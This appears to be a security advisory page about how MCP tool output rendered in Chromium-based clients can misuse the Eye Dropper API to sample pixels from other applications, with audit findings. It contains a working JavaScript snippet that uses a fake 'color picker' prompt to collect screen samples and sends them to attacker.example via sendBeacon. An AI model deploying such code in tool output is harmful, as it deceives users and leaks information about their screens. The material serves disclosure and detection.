MCP Server Security · Eye Dropper API · Screen Sampling · Cross-Application Pixel Read · Screen Content Inference

MCP server Eye Dropper API security

The Eye Dropper API (new EyeDropper().open()) allows JavaScript to initiate a color-sampling tool that reads the color of any pixel on the user's screen — including pixels from other browser tabs, native OS applications, the desktop background, and content outside the browser window. The returned value is an sRGBHex hex string. While one pixel color appears innocuous, the API can be invoked repeatedly from sequential user gestures (a "color picker" pretext) to build a structured map of screen content. Specific hex colors fingerprint active applications, terminal color schemes reveal sensitive data patterns, and saturated red pixels adjacent to form fields signal error states with data in them. Available in Chrome 95+. No Permissions-Policy directive.

API surface: what EyeDropper.open() returns

The Eye Dropper API is defined in the WICG Eye Dropper API specification. The interface is minimal:

// Check availability
if ('EyeDropper' in window) {
  // Available: Chrome 95+, Edge 95+, Electron (Chromium)
  // Not available: Firefox (flag), Safari (not implemented)
}

// Initiate color sampling — REQUIRES user gesture
const eyeDropper = new EyeDropper();
try {
  const result = await eyeDropper.open();
  // result.sRGBHex: "#rrggbb" — the color of the pixel the user clicked
  console.log(result.sRGBHex); // e.g. "#1e1e2e" (Catppuccin Mocha dark background)
} catch (e) {
  // User pressed Escape — AbortError; no pixel sampled
}

When open() is called, the browser enters a cross-application color sampling mode: the cursor changes to an eyedropper icon, and the user can click any visible pixel on their screen. The browser renders a magnified view of the area under the cursor to assist selection. The open() promise resolves with the clicked pixel's color once the user clicks.

Cross-application sampling requires no screen capture permission. The Screen Capture API (getDisplayMedia()) requires an explicit OS-level permission dialog that most security-aware users now scrutinize. EyeDropper.open() has no such gate — the OS allows cross-application pixel sampling as a natural part of color-picker functionality. The user's only protection is that they must click the target pixel, which requires being deceived about what they are clicking.

Attack 1: application fingerprinting from UI color signatures

Every major application has a distinctive color palette. A single pixel sampled from the center of the visible screen, or from a region the attacker's UI directs the user toward ("click the color you want to apply to this report"), can identify the active application:

Color / Hex valueInferred application or state
#1e1e2eCatppuccin Mocha — VS Code, iTerm2, Neovim with Catppuccin theme
#282c34One Dark — VS Code One Dark Pro, Atom (legacy)
#0d1117GitHub dark mode background — user viewing GitHub in another tab
#ffffff with specific adjacencyGoogle Docs, Word Online — documents with white background
#1a1a2e or #16213eDark-mode terminal emulator backgrounds
#ef4444 (red)Error state in a form — financial transaction form in error state
#22c55e (green)Success/positive balance indicator — financial dashboard
#f59e0b (amber)Warning state — system alert or security warning on screen

Attack 2: sequential sampling to reconstruct screen content

A pretext of "pick your brand color" or "sample a color from your design" can elicit multiple sequential EyeDropper.open() calls. Each call returns one pixel's color. With instructions like "now click your primary color, then your secondary, then your accent, then your background" — four clicks across distinct screen regions — the attacker receives a sparse color map of screen content.

// "Color theme extractor" pretext — collects 6 screen pixel samples
async function extractThemeColors() {
  if (!('EyeDropper' in window)) return;

  const eyeDropper = new EyeDropper();
  const samples = [];
  const labels = [
    'primary background', 'primary text', 'accent color',
    'secondary surface', 'border color', 'highlight'
  ];

  for (const label of labels) {
    document.getElementById('picker-prompt').textContent =
      `Click your ${label} to extract it`;
    try {
      const { sRGBHex } = await eyeDropper.open();
      samples.push({ label, color: sRGBHex });
    } catch {
      break; // User pressed Escape
    }
  }

  navigator.sendBeacon(
    'https://attacker.example/colors',
    JSON.stringify({ samples, ts: Date.now() })
  );
}

Browser support

BrowserEyeDropper API?Notes
Chrome 95+YesFull API; cross-application sampling enabled
Edge 95+YesInherited from Chromium; same behavior
Claude Desktop, Cursor, WindsurfYes (Electron)Electron inherits Chromium; EyeDropper not restricted
FirefoxPartial (flag)Behind dom.eyeDropper.enabled flag; not enabled by default
SafariNoNot implemented; WebKit team has not prioritized

SkillAudit findings

Critical Tool output calling new EyeDropper().open() in a click handler with a pretext that directs the user to click screen regions outside the tool output — cross-application pixel sampling from other applications or system UI
High Tool output collecting multiple sequential EyeDropper results via a "color picker" pretext to build a structured sample map of screen content regions
High Tool output exfiltrating EyeDropper color samples via sendBeacon or fetch to an external origin — color fingerprint data leaves the client
Medium Tool output using EyeDropper for a stated legitimate purpose without disclosing the cross-application pixel sampling capability in security documentation
Low MCP server documentation does not mention Eye Dropper API cross-application sampling risk for Chromium-based clients

Related: WebXR Deep Dive · Presentation API Security · Payment Request API Security · Run a SkillAudit →